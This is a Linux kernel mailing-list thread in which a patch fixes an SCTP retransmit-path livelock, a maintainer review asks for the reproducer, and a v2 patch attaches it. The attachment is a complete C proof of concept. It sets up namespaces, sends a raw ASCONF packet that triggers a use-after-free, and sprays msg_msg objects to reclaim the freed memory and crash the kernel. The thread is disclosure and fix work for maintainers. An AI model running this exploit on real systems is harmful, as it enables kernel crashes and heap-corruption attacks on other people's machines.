* [PATCH net] sctp: avoid livelock while updating retransmit path
@ 2026-08-27 7:50 Yiqi Sun
2026-08-27 17:18 ` Xin Long
0 siblings, 1 reply; 3+ messages in thread
From: Yiqi Sun @ 2026-08-27 7:50 UTC (permalink / raw)
To: marcelo.leitner, lucien.xin
Cc: davem, edumazet, kuba, pabeni, horms, linux-sctp, netdev,
linux-kernel, Yiqi Sun
sctp_assoc_update_retran_path() walks the association transport list from
the current retransmit path's successor and stops once it reaches the
current retransmit path again. However, the loop skips transports in
SCTP_UNCONFIRMED state before checking for the wraparound condition.
This makes the loop non-terminating when the association contains only
UNCONFIRMED transports at that point and asoc->peer.retran_path is also
UNCONFIRMED. One way to reach that state is through ASCONF wildcard
DEL-IP processing after an unconfirmed address is selected as the
primary transport. sctp_assoc_del_nonprimary_peers() then removes the
other transports one by one; when removing the current retran_path,
sctp_assoc_rm_peer() calls sctp_assoc_update_retran_path() before
unlinking it. If the remaining candidate and the current retran_path are
both UNCONFIRMED, the loop repeatedly continues before it can observe
that it has completed a full pass.
The same reproducer that exercised the bug fixed by commit 9b2854f86f0b
("sctp: don't free the ASCONF's own transport in DEL-IP processing") can
still trigger this CPU stall after that fix is applied. With the UAF
prevented, the ASCONF processing no longer dereferences the freed
transport, but it can still reach the retransmit-path update described
above and spin in the all-UNCONFIRMED case.
Fix this by remembering whether the current transport is the original
retran_path, still considering it as a candidate when it is not
UNCONFIRMED, and then breaking after the candidate logic. This preserves
the existing fallback semantics while making the full-pass termination
independent of the transport state.
Also restore the NULL guard around the retran_path assignment. In the
all-UNCONFIRMED case there is no eligible replacement transport, and
installing NULL would leave later retransmit-path users and the debug
print with a NULL path.
Fixes: 4c47af4d5eb2 ("net: sctp: rework multihoming retransmission path selection to rfc4960")
Signed-off-by: Yiqi Sun <sunyiqixm@gmail.com>
---
net/sctp/associola.c | 19 +++++++++++--------
1 file changed, 11 insertions(+), 8 deletions(-)
diff --git a/net/sctp/associola.c b/net/sctp/associola.c
index c0512c827d0f..6f19eb0b01e2 100644
--- a/net/sctp/associola.c
+++ b/net/sctp/associola.c
@@ -1272,6 +1272,7 @@ void sctp_assoc_update_retran_path(struct sctp_association *asoc)
{
struct sctp_transport *trans = asoc->peer.retran_path;
struct sctp_transport *trans_next = NULL;
+ bool last = false;
/* We're done as we only have the one and only path. */
if (asoc->peer.transport_count == 1)
@@ -1289,18 +1290,20 @@ void sctp_assoc_update_retran_path(struct sctp_association *asoc)
/* Manually skip the head element. */
if (&trans->transports == &asoc->peer.transport_addr_list)
continue;
- if (trans->state == SCTP_UNCONFIRMED)
- continue;
- trans_next = sctp_trans_elect_best(trans, trans_next);
- /* Active is good enough for immediate return. */
- if (trans_next->state == SCTP_ACTIVE)
- break;
+ last = trans == asoc->peer.retran_path;
+ if (trans->state != SCTP_UNCONFIRMED) {
+ trans_next = sctp_trans_elect_best(trans, trans_next);
+ /* Active is good enough for immediate return. */
+ if (trans_next->state == SCTP_ACTIVE)
+ break;
+ }
/* We've reached the end, time to update path. */
- if (trans == asoc->peer.retran_path)
+ if (last)
break;
}
- asoc->peer.retran_path = trans_next;
+ if (trans_next)
+ asoc->peer.retran_path = trans_next;
pr_debug("%s: association:%p updated new path to addr:%pISpc\n",
__func__, asoc, &asoc->peer.retran_path->ipaddr.sa);
--
2.34.1
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net] sctp: avoid livelock while updating retransmit path
2026-08-27 7:50 [PATCH net] sctp: avoid livelock while updating retransmit path Yiqi Sun
@ 2026-08-27 17:18 ` Xin Long
2026-09-02 2:52 ` [PATCH v2 " Yiqi Sun
0 siblings, 1 reply; 3+ messages in thread
From: Xin Long @ 2026-08-27 17:18 UTC (permalink / raw)
To: Yiqi Sun
Cc: marcelo.leitner, davem, edumazet, kuba, pabeni, horms, linux-sctp,
netdev, linux-kernel
On Thu, Aug 27, 2026 at 3:50 AM Yiqi Sun <sunyiqixm@gmail.com> wrote:
>
> sctp_assoc_update_retran_path() walks the association transport list from
> the current retransmit path's successor and stops once it reaches the
> current retransmit path again. However, the loop skips transports in
> SCTP_UNCONFIRMED state before checking for the wraparound condition.
>
> This makes the loop non-terminating when the association contains only
> UNCONFIRMED transports at that point and asoc->peer.retran_path is also
> UNCONFIRMED. One way to reach that state is through ASCONF wildcard
> DEL-IP processing after an unconfirmed address is selected as the
> primary transport. sctp_assoc_del_nonprimary_peers() then removes the
> other transports one by one; when removing the current retran_path,
> sctp_assoc_rm_peer() calls sctp_assoc_update_retran_path() before
> unlinking it. If the remaining candidate and the current retran_path are
> both UNCONFIRMED, the loop repeatedly continues before it can observe
> that it has completed a full pass.
>
> The same reproducer that exercised the bug fixed by commit 9b2854f86f0b
> ("sctp: don't free the ASCONF's own transport in DEL-IP processing") can
> still trigger this CPU stall after that fix is applied. With the UAF
> prevented, the ASCONF processing no longer dereferences the freed
> transport, but it can still reach the retransmit-path update described
> above and spin in the all-UNCONFIRMED case.
Please share the PoC with maintainers.
>
> Fix this by remembering whether the current transport is the original
> retran_path, still considering it as a candidate when it is not
> UNCONFIRMED, and then breaking after the candidate logic. This preserves
> the existing fallback semantics while making the full-pass termination
> independent of the transport state.
>
> Also restore the NULL guard around the retran_path assignment. In the
> all-UNCONFIRMED case there is no eligible replacement transport, and
> installing NULL would leave later retransmit-path users and the debug
> print with a NULL path.
>
> Fixes: 4c47af4d5eb2 ("net: sctp: rework multihoming retransmission path selection to rfc4960")
> Signed-off-by: Yiqi Sun <sunyiqixm@gmail.com>
> ---
> net/sctp/associola.c | 19 +++++++++++--------
> 1 file changed, 11 insertions(+), 8 deletions(-)
>
> diff --git a/net/sctp/associola.c b/net/sctp/associola.c
> index c0512c827d0f..6f19eb0b01e2 100644
> --- a/net/sctp/associola.c
> +++ b/net/sctp/associola.c
> @@ -1272,6 +1272,7 @@ void sctp_assoc_update_retran_path(struct sctp_association *asoc)
> {
> struct sctp_transport *trans = asoc->peer.retran_path;
> struct sctp_transport *trans_next = NULL;
> + bool last = false;
>
> /* We're done as we only have the one and only path. */
> if (asoc->peer.transport_count == 1)
> @@ -1289,18 +1290,20 @@ void sctp_assoc_update_retran_path(struct sctp_association *asoc)
> /* Manually skip the head element. */
> if (&trans->transports == &asoc->peer.transport_addr_list)
> continue;
> - if (trans->state == SCTP_UNCONFIRMED)
> - continue;
> - trans_next = sctp_trans_elect_best(trans, trans_next);
> - /* Active is good enough for immediate return. */
> - if (trans_next->state == SCTP_ACTIVE)
> - break;
> + last = trans == asoc->peer.retran_path;
> + if (trans->state != SCTP_UNCONFIRMED) {
> + trans_next = sctp_trans_elect_best(trans, trans_next);
> + /* Active is good enough for immediate return. */
> + if (trans_next->state == SCTP_ACTIVE)
> + break;
> + }
> /* We've reached the end, time to update path. */
> - if (trans == asoc->peer.retran_path)
> + if (last)
> break;
After removing the continue, I think you can keep using
if (trans == asoc->peer.retran_path) here without 'last' needed.
Thanks.
> }
>
> - asoc->peer.retran_path = trans_next;
> + if (trans_next)
> + asoc->peer.retran_path = trans_next;
>
> pr_debug("%s: association:%p updated new path to addr:%pISpc\n",
> __func__, asoc, &asoc->peer.retran_path->ipaddr.sa);
> --
> 2.34.1
>
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH v2 net] sctp: avoid livelock while updating retransmit path
2026-08-27 17:18 ` Xin Long
@ 2026-09-02 2:52 ` Yiqi Sun
0 siblings, 0 replies; 3+ messages in thread
From: Yiqi Sun @ 2026-09-02 2:52 UTC (permalink / raw)
To: lucien.xin
Cc: davem, edumazet, horms, kuba, linux-kernel, linux-sctp,
marcelo.leitner, netdev, pabeni, stable, sunyiqixm
[-- Attachment #1: Type: text/plain, Size: 3392 bytes --]
On Thu, Aug 27, 2026 at 3:50 AM, Xin Long wrote:
> After removing the continue, I think you can keep using
> if (trans == asoc->peer.retran_path) here without 'last' needed.
Yes. The v1 'last' variable was redundant once the SCTP_UNCONFIRMED
path no longer uses continue. Drop it in this revision and retain the
original wraparound comparison after the candidate-selection block.
The reproducer is attached.
sctp_assoc_update_retran_path() walks the association transport list
from the current retransmit path's successor and stops once it reaches
the current retransmit path again. However, the loop skips transports in
SCTP_UNCONFIRMED state before checking for the wraparound condition.
This makes the loop non-terminating when the association contains only
UNCONFIRMED transports at that point and asoc->peer.retran_path is also
UNCONFIRMED. One way to reach that state is through ASCONF wildcard
DEL-IP processing after an unconfirmed address is selected as the
primary transport. sctp_assoc_del_nonprimary_peers() then removes the
other transports one by one; when removing the current retran_path,
sctp_assoc_rm_peer() calls sctp_assoc_update_retran_path() before
unlinking it. If the remaining candidate and the current retran_path are
both UNCONFIRMED, the loop repeatedly continues before it can observe
that it has completed a full pass.
Fix this by considering a transport only when it is not UNCONFIRMED,
then checking whether the walk has returned to retran_path. This makes
the full-pass termination independent of the transport state while
preserving the existing fallback selection semantics.
Also restore the NULL guard around the retran_path assignment. In the
all-UNCONFIRMED case there is no eligible replacement transport, and
installing NULL would leave later retransmit-path users and the debug
print with a NULL path.
Fixes: 4c47af4d5eb2 ("net: sctp: rework multihoming retransmission path selection to rfc4960")
Signed-off-by: Yiqi Sun <sunyiqixm@gmail.com>
---
Changes in v2:
- Drop the redundant 'last' variable as suggested by Xin Long.
- Link to v1: https://lore.kernel.org/r/20260827075006.3979566-1-sunyiqixm@gmail.com/
---
net/sctp/associola.c | 15 ++++++++-------
1 file changed, 8 insertions(+), 7 deletions(-)
diff --git a/net/sctp/associola.c b/net/sctp/associola.c
index c0512c827d0f..4521be3bd85a 100644
--- a/net/sctp/associola.c
+++ b/net/sctp/associola.c
@@ -1289,18 +1289,19 @@ void sctp_assoc_update_retran_path(struct sctp_association *asoc)
/* Manually skip the head element. */
if (&trans->transports == &asoc->peer.transport_addr_list)
continue;
- if (trans->state == SCTP_UNCONFIRMED)
- continue;
- trans_next = sctp_trans_elect_best(trans, trans_next);
- /* Active is good enough for immediate return. */
- if (trans_next->state == SCTP_ACTIVE)
- break;
+ if (trans->state != SCTP_UNCONFIRMED) {
+ trans_next = sctp_trans_elect_best(trans, trans_next);
+ /* Active is good enough for immediate return. */
+ if (trans_next->state == SCTP_ACTIVE)
+ break;
+ }
/* We've reached the end, time to update path. */
if (trans == asoc->peer.retran_path)
break;
}
- asoc->peer.retran_path = trans_next;
+ if (trans_next)
+ asoc->peer.retran_path = trans_next;
pr_debug("%s: association:%p updated new path to addr:%pISpc\n",
__func__, asoc, &asoc->peer.retran_path->ipaddr.sa);
--
2.34.1
[-- Attachment #2: cve-2026-64564-fix-verifier-sctp-cpu-stall-ai.c --]
[-- Type: text/x-csrc, Size: 16278 bytes --]
/*
* Crash PoC for CVE-2026-64564 — SCTP ASCONF DEL-IP Use-After-Free
*
* Vulnerability
* -------------
* sctp_process_asconf_param() (net/sctp/sm_make_chunk.c) caches the transport
* the ASCONF chunk is processed against in asconf->transport. This is the
* peer transport matching the ASCONF's leading Address Parameter L, set during
* reception via __sctp_rcv_asconf_lookup() (net/sctp/input.c).
*
* The DEL-IP case rejects deleting the packet *source* address (ADDIP D8,
* SCTP_ERROR_DEL_SRC_IP) but, on unpatched kernels, nothing protects
* asconf->transport itself. A single ASCONF can therefore carry, in order:
*
* [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]
*
* where L differs from the packet source. The DEL-IP for L passes the D8
* check and calls sctp_assoc_rm_peer() on the transport that asconf->transport
* still points at, freeing it (RCU-deferred via call_rcu). The following
* wildcard DEL-IP then reuses the now-dangling asconf->transport in
* sctp_assoc_set_primary() and sctp_assoc_del_nonprimary_peers():
* - set_primary() dereferences the freed transport (->ipaddr, ->state, ->cacc)
* and plants the dangling pointer into asoc->peer.primary_path / active_path.
* - del_nonprimary_peers(), keeping only the pointer that is no longer on the
* list, removes every real transport, leaving transport_count == 0 and
* primary_path/active_path pointing at freed memory.
*
* The fix (sm_make_chunk.c) adds:
* if (peer == asconf->transport)
* return SCTP_ERROR_REQ_REFUSED;
* before sctp_assoc_rm_peer(), so the wildcard branch can never reuse a freed
* transport.
*
* This PoC triggers the UAF and then dereferences the dangling pointer to
* crash the kernel.
*
* Build: gcc -o poc poc.c -static
* alt: gcc -o poc poc.c
* Run: ./poc
*
* Requires CONFIG_USER_NS=y (unprivileged user namespaces).
* Target: Linux 6.6 kernel (before/after the fix).
*/
#define _GNU_SOURCE
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
/* ---- network constants ---- */
#define VPORT 20000 /* server (victim) SCTP port */
#define BPORT 20001 /* client (peer) SCTP port */
#define LOOP htonl(0x7f000001) /* 127.0.0.1 — server address */
#define SRCB htonl(0x7f000009) /* 127.0.0.9 — spoofed source (blackholed) */
#define L_IP 0x7f000003 /* 127.0.0.3 — DEL-IP target (a peer transport) */
/* ---- SCTP UAPI constants (avoid header conflicts) ---- */
#define SOL_SCTP_ 132
#define SCTP_BINDX_ADD 100
#define SCTP_STATUS_ 14
/* ASCONF chunk type and parameter types (network byte order via p16/p32) */
#define CHUNK_ASCONF 0xC1
#define PARAM_IPV4 0x0005
#define PARAM_DEL_IP 0xC002
/* ---- small helpers ---- */
static void die(const char *m)
{
fprintf(stderr, "fatal: %s: %s\n", m, strerror(errno));
exit(1);
}
/* Write a string to a sysctl file. */
static void wf(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return;
write(fd, val, strlen(val));
close(fd);
}
/* CRC32c (Castagnoli) — SCTP checksum. */
static uint32_t crc32c(const uint8_t *p, size_t n)
{
uint32_t c = 0xFFFFFFFF;
for (size_t i = 0; i < n; i++) {
c ^= p[i];
for (int k = 0; k < 8; k++)
c = (c & 1) ? (c >> 1) ^ 0x82F63B78 : (c >> 1);
}
return ~c;
}
/* Write a 16/32-bit value in network byte order, advance pointer. */
static uint8_t *p16(uint8_t *p, uint16_t v) { *(uint16_t *)p = htons(v); return p + 2; }
static uint8_t *p32(uint8_t *p, uint32_t v) { *(uint32_t *)p = v; return p + 4; }
/* Wrap an SCTP payload in an IPv4 header (IP_HDRINCL style). */
static int ip_wrap(uint8_t *b, uint32_t src, uint32_t dst,
const uint8_t *x, int xl)
{
struct iphdr *ip = (void *)b;
memset(ip, 0, sizeof *ip);
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof *ip + xl);
ip->ttl = 64;
ip->protocol = IPPROTO_SCTP;
ip->saddr = src;
ip->daddr = dst;
memcpy(b + sizeof *ip, x, xl);
return sizeof *ip + xl;
}
/* ---- namespace setup ---- */
static void ns(void)
{
uid_t u = getuid();
gid_t g = getgid();
char x[64];
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
die("unshare");
wf("/proc/self/setgroups", "deny");
snprintf(x, sizeof x, "0 %d 1", u); wf("/proc/self/uid_map", x);
snprintf(x, sizeof x, "0 %d 1", g); wf("/proc/self/gid_map", x);
/* Enable ASCONF (ADD-IP) extension without requiring AUTH. */
wf("/proc/sys/net/sctp/addip_enable", "1");
wf("/proc/sys/net/sctp/addip_noauth_enable", "1");
/* Configure loopback inside the new network namespace. */
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq f;
memset(&f, 0, sizeof f);
strcpy(f.ifr_name, "lo");
struct sockaddr_in *si = (void *)&f.ifr_addr;
si->sin_family = AF_INET;
si->sin_addr.s_addr = LOOP;
ioctl(s, SIOCSIFADDR, &f);
si->sin_addr.s_addr = htonl(0xff000000);
ioctl(s, SIOCSIFNETMASK, &f);
f.ifr_flags = 0;
ioctl(s, SIOCGIFFLAGS, &f);
f.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &f);
close(s);
/* Blackhole the spoofed source so the ASCONF-ACK is dropped
* and cannot tear down the association from the remote side.
*/
setenv("PATH", "/usr/sbin:/usr/bin:/sbin:/bin", 1);
if (system("ip route add blackhole 127.0.0.9/32 2>/dev/null")) {}
}
/* ---- ASCONF chunk crafter ---- */
/*
* Builds a raw SCTP packet containing one ASCONF chunk:
*
* [common hdr: src=BPORT dst=VPORT vtag=vt]
* [ASCONF chunk: type=0xC1 serial=serial]
* [Address Param: 127.0.0.3] ← sets asconf->transport = transport_L
* [DEL-IP 127.0.0.3 (crr_id=1)] ← frees asconf->transport (unpatched)
* [DEL-IP 0.0.0.0 (crr_id=2)] ← wildcard: dereferences freed transport
*
* The CRC32c checksum is computed and stored.
*/
static int build_asconf(uint8_t *pk, uint32_t vt, uint32_t serial)
{
uint8_t *p = pk;
/* SCTP common header (12 bytes) */
p = p16(p, BPORT); /* source port */
p = p16(p, VPORT); /* dest port */
p = p32(p, vt); /* verification tag */
p = p32(p, 0); /* checksum (filled last) */
/* ASCONF chunk header (4 bytes) + serial (4 bytes) */
uint8_t *chunk = p;
*p++ = CHUNK_ASCONF; /* chunk type */
*p++ = 0; /* flags */
p += 2; /* length (filled below) */
p = p32(p, htonl(serial));
/* Address Parameter TLV — 127.0.0.3
* This determines asconf->transport (the transport to be freed).
*/
p = p16(p, PARAM_IPV4);
p = p16(p, 8);
p = p32(p, htonl(L_IP));
/* DEL-IP parameter 1 — delete 127.0.0.3
* On unpatched kernels this frees asconf->transport because
* peer == asconf->transport and the guard is absent.
*/
p = p16(p, PARAM_DEL_IP);
p = p16(p, 16); /* param length: 4 hdr + 4 crr_id + 8 addr */
p = p32(p, htonl(1)); /* crr_id */
p = p16(p, PARAM_IPV4);
p = p16(p, 8);
p = p32(p, htonl(L_IP));
/* DEL-IP parameter 2 — wildcard 0.0.0.0
* Enters the is_any() branch which calls:
* sctp_assoc_set_primary(asoc, asconf->transport) ← UAF
* sctp_assoc_del_nonprimary_peers(asoc, asconf->transport)
* dereferencing the now-freed asconf->transport.
*/
p = p16(p, PARAM_DEL_IP);
p = p16(p, 16);
p = p32(p, htonl(2)); /* crr_id */
p = p16(p, PARAM_IPV4);
p = p16(p, 8);
p = p32(p, htonl(0)); /* 0.0.0.0 = wildcard */
/* Fill in chunk length */
*(uint16_t *)(chunk + 2) = htons((uint16_t)(p - chunk));
/* Compute and store CRC32c over the entire SCTP packet */
int len = p - pk;
uint32_t crc = crc32c(pk, len);
memcpy(pk + 8, &crc, 4);
return len;
}
/* ---- handshake sniffer ---- */
/*
* Sniffs the 4-way SCTP handshake on loopback to extract:
* - vtag: the server's init-tag (from INIT-ACK), needed in the common header
* - tsn: the client's initial TSN (from INIT), needed as the ASCONF serial
* (serial must equal asoc->peer.addip_serial + 1 == initial_tsn)
*/
static void sniff_handshake(int wfd)
{
int ps = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
struct sockaddr_ll ll = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_IP),
.sll_ifindex = (int)if_nametoindex("lo"),
};
bind(ps, (void *)&ll, sizeof ll);
uint32_t vtag = 0, tsn = 0;
int got_vtag = 0, got_tsn = 0;
for (int i = 0; i < 9000 && !(got_vtag && got_tsn); i++) {
uint8_t pk[2048];
ssize_t n = recv(ps, pk, sizeof pk, 0);
if (n < 28) continue;
int ih = (pk[0] & 0xf) * 4; /* IP header length */
if (n < ih + 32) continue;
uint16_t sp = ntohs(*(uint16_t *)(pk + ih)); /* SCTP src port */
uint16_t dp = ntohs(*(uint16_t *)(pk + ih + 2)); /* SCTP dst port */
uint8_t ct = pk[ih + 12]; /* chunk type */
/* INIT (type 1) from client → server: extract initial TSN
* Chunk body starts at ih+12+4; initial_tsn at body+12 = ih+12+16.
*/
if (sp == BPORT && dp == VPORT && ct == 1) {
tsn = ntohl(*(uint32_t *)(pk + ih + 12 + 16));
got_tsn = 1;
}
/* INIT-ACK (type 2) from server → client: extract init tag
* init_tag is the first field of the chunk body = ih+12+4.
*/
if (sp == VPORT && dp == BPORT && ct == 2) {
vtag = *(uint32_t *)(pk + ih + 12 + 4);
got_vtag = 1;
}
}
uint32_t out[2] = { vtag, tsn };
write(wfd, out, sizeof out);
_exit(0);
}
/* ---- client peer ---- */
/*
* Creates the multihomed SCTP association from the client side.
* Binds three addresses (127.0.0.1, 127.0.0.2, 127.0.0.3) so the server
* sees three peer transports. After DEL-IP 127.0.0.3, transport_count
* drops to 2, allowing the wildcard DEL-IP to proceed (it requires
* transport_count > 1 to pass the DEL_LAST_IP check).
*/
static void peer_b(struct sockaddr_in vaddr)
{
int one = 1;
int b = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (b < 0) die("peer socket");
setsockopt(b, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
/* Primary bind to 127.0.0.1 */
struct sockaddr_in bv = {
.sin_family = AF_INET,
.sin_port = htons(BPORT),
.sin_addr.s_addr = LOOP,
};
if (bind(b, (void *)&bv, sizeof bv) < 0) die("peer bind");
/* Add 127.0.0.2 and 127.0.0.3 as additional bind addresses.
* Together with the primary bind this gives 3 peer transports.
*/
for (int i = 0; i < 2; i++) {
struct sockaddr_in ad = {
.sin_family = AF_INET,
.sin_port = htons(BPORT),
.sin_addr.s_addr = htonl(0x7f000002 + i),
};
setsockopt(b, SOL_SCTP_, SCTP_BINDX_ADD, &ad, sizeof ad);
}
usleep(120000);
if (connect(b, (void *)&vaddr, sizeof vaddr) < 0)
die("connect");
/* Keep the association alive. */
pause();
}
/* ---- msg_msg spray (kmalloc-1024 reclaim) ---- */
/*
* After the RCU grace period, the freed transport memory is returned to the
* slab. Spraying kmalloc-1024 objects overwrites the freed slot with
* controlled data so that subsequent dereferences of the dangling
* primary_path/active_path pointer access garbage and fault.
*/
#define MSG_DATA 976 /* 48-byte msg_msg header + 976 = 1024 (kmalloc-1024) */
static int g_msq[64];
static int g_nmsq = 0;
static void msg_spray(void)
{
struct { long mtype; char mtext[MSG_DATA]; } mb;
mb.mtype = 1;
memset(mb.mtext, 0x41, sizeof mb.mtext);
for (int i = 0; i < 64; i++) {
int q = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (q < 0) break;
g_msq[g_nmsq++] = q;
for (int k = 0; k < 64; k++)
if (msgsnd(q, &mb, sizeof mb.mtext, IPC_NOWAIT) != 0)
break;
}
}
/* ---- SCTP status struct for getsockopt trigger ---- */
struct paddrinfo {
uint32_t spinfo_assoc_id;
uint8_t spinfo_address[128];
int32_t spinfo_state;
uint32_t spinfo_cwnd;
uint32_t spinfo_srtt;
uint32_t spinfo_rto;
uint32_t spinfo_mtu;
} __attribute__((packed, aligned(4)));
struct sctp_status_ {
uint32_t sstat_assoc_id;
int32_t sstat_state;
uint32_t sstat_rwnd;
uint16_t sstat_unackdata;
uint16_t sstat_penddata;
uint16_t sstat_instrms;
uint16_t sstat_outstrms;
uint32_t sstat_fragmentation_point;
struct paddrinfo sstat_primary;
};
/* ---- main ---- */
int main(void)
{
signal(SIGPIPE, SIG_IGN);
setbuf(stdout, NULL);
/* Pin to CPU 0 so RCU frees land on one per-CPU freelist. */
cpu_set_t cs;
CPU_ZERO(&cs);
CPU_SET(0, &cs);
sched_setaffinity(0, sizeof cs, &cs);
ns();
printf("[*] namespace ready\n");
/* --- server (victim) socket --- */
int one = 1;
int L = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (L < 0) die("server socket");
setsockopt(L, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
struct sockaddr_in vaddr = {
.sin_family = AF_INET,
.sin_port = htons(VPORT),
.sin_addr.s_addr = LOOP,
};
if (bind(L, (void *)&vaddr, sizeof vaddr) < 0) die("server bind");
if (listen(L, 8) < 0) die("listen");
/* --- fork handshake sniffer --- */
int pfd[2];
pipe(pfd);
if (fork() == 0) { close(pfd[0]); sniff_handshake(pfd[1]); }
/* --- fork client peer --- */
if (fork() == 0) { close(pfd[0]); close(pfd[1]); peer_b(vaddr); }
close(pfd[1]);
/* --- accept the association --- */
struct pollfd pf = { .fd = L, .events = POLLIN };
if (poll(&pf, 1, 5000) <= 0) { fprintf(stderr, "accept timeout\n"); return 1; }
int A = accept(L, NULL, NULL);
if (A < 0) die("accept");
/* --- read vtag and initial_tsn from sniffer --- */
uint32_t in[2];
if (read(pfd[0], in, sizeof in) != sizeof in) {
fprintf(stderr, "sniff failed\n");
return 1;
}
uint32_t vtag = in[0], tsn = in[1];
printf("[*] vtag=0x%08x initial_tsn=0x%08x\n", vtag, tsn);
/* Let the association stabilise (transports are created during
* the 4-way handshake; accept() returns once it completes).
*/
usleep(200000);
printf("[*] association established with 3 peer transports\n");
/* --- send the malicious ASCONF --- */
printf("[*] sending ASCONF [Addr 127.0.0.3][DEL-IP 127.0.0.3][DEL-IP 0.0.0.0]...\n");
int raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw < 0) die("raw socket");
setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
uint8_t sctp[256], ip[400];
int sl = build_asconf(sctp, vtag, tsn);
int il = ip_wrap(ip, SRCB, LOOP, sctp, sl);
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_addr.s_addr = LOOP,
};
if (sendto(raw, ip, il, 0, (void *)&dst, sizeof dst) < 0)
die("sendto");
close(raw);
printf("[*] ASCONF sent — UAF triggered on unpatched kernel\n");
/* --- wait for the RCU grace period so the transport is actually freed --- */
/* MEMBARRIER_CMD_SHARED = 1; this blocks until all CPUs have passed a
* grace period, guaranteeing the call_rcu callback (kfree) has run.
*/
syscall(SYS_membarrier, 1, 0, -1);
usleep(100000);
/* --- reclaim the freed transport memory with controlled data --- */
printf("[*] spraying msg_msg (kmalloc-1024) to reclaim freed transport...\n");
msg_spray();
usleep(50000);
/* --- trigger dereference of the dangling primary_path / active_path --- */
printf("[*] attempting to dereference dangling pointers...\n");
/* (a) getsockopt SCTP_STATUS — reads primary_path->ipaddr, ->state, etc. */
struct sctp_status_ st;
memset(&st, 0, sizeof st);
socklen_t sl_opt = sizeof st;
getsockopt(A, SOL_SCTP_, SCTP_STATUS_, &st, &sl_opt);
/* (b) send — routes via active_path (dangling) */
send(A, "x", 1, MSG_DONTWAIT | MSG_NOSIGNAL);
/* (c) close — association teardown dereferences primary_path */
close(A);
/* If we reach here the dereference did not fault (e.g. freed memory
* was not yet reclaimed, or KASAN/SLUB debug is off). The UAF was
* still triggered — the association is corrupted (transport_count == 0,
* primary_path dangling). A subsequent operation or timer will crash.
*/
printf("[!] survived immediate dereference — UAF is triggered but\n"
" the freed slot was not yet reclaimed at the time of access.\n"
" The association is corrupted; a crash is imminent.\n");
sleep(3);
return 0;
}
^ permalink raw reply related [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-02 2:53 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-27 7:50 [PATCH net] sctp: avoid livelock while updating retransmit path Yiqi Sun
2026-08-27 17:18 ` Xin Long
2026-09-02 2:52 ` [PATCH v2 " Yiqi Sun
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox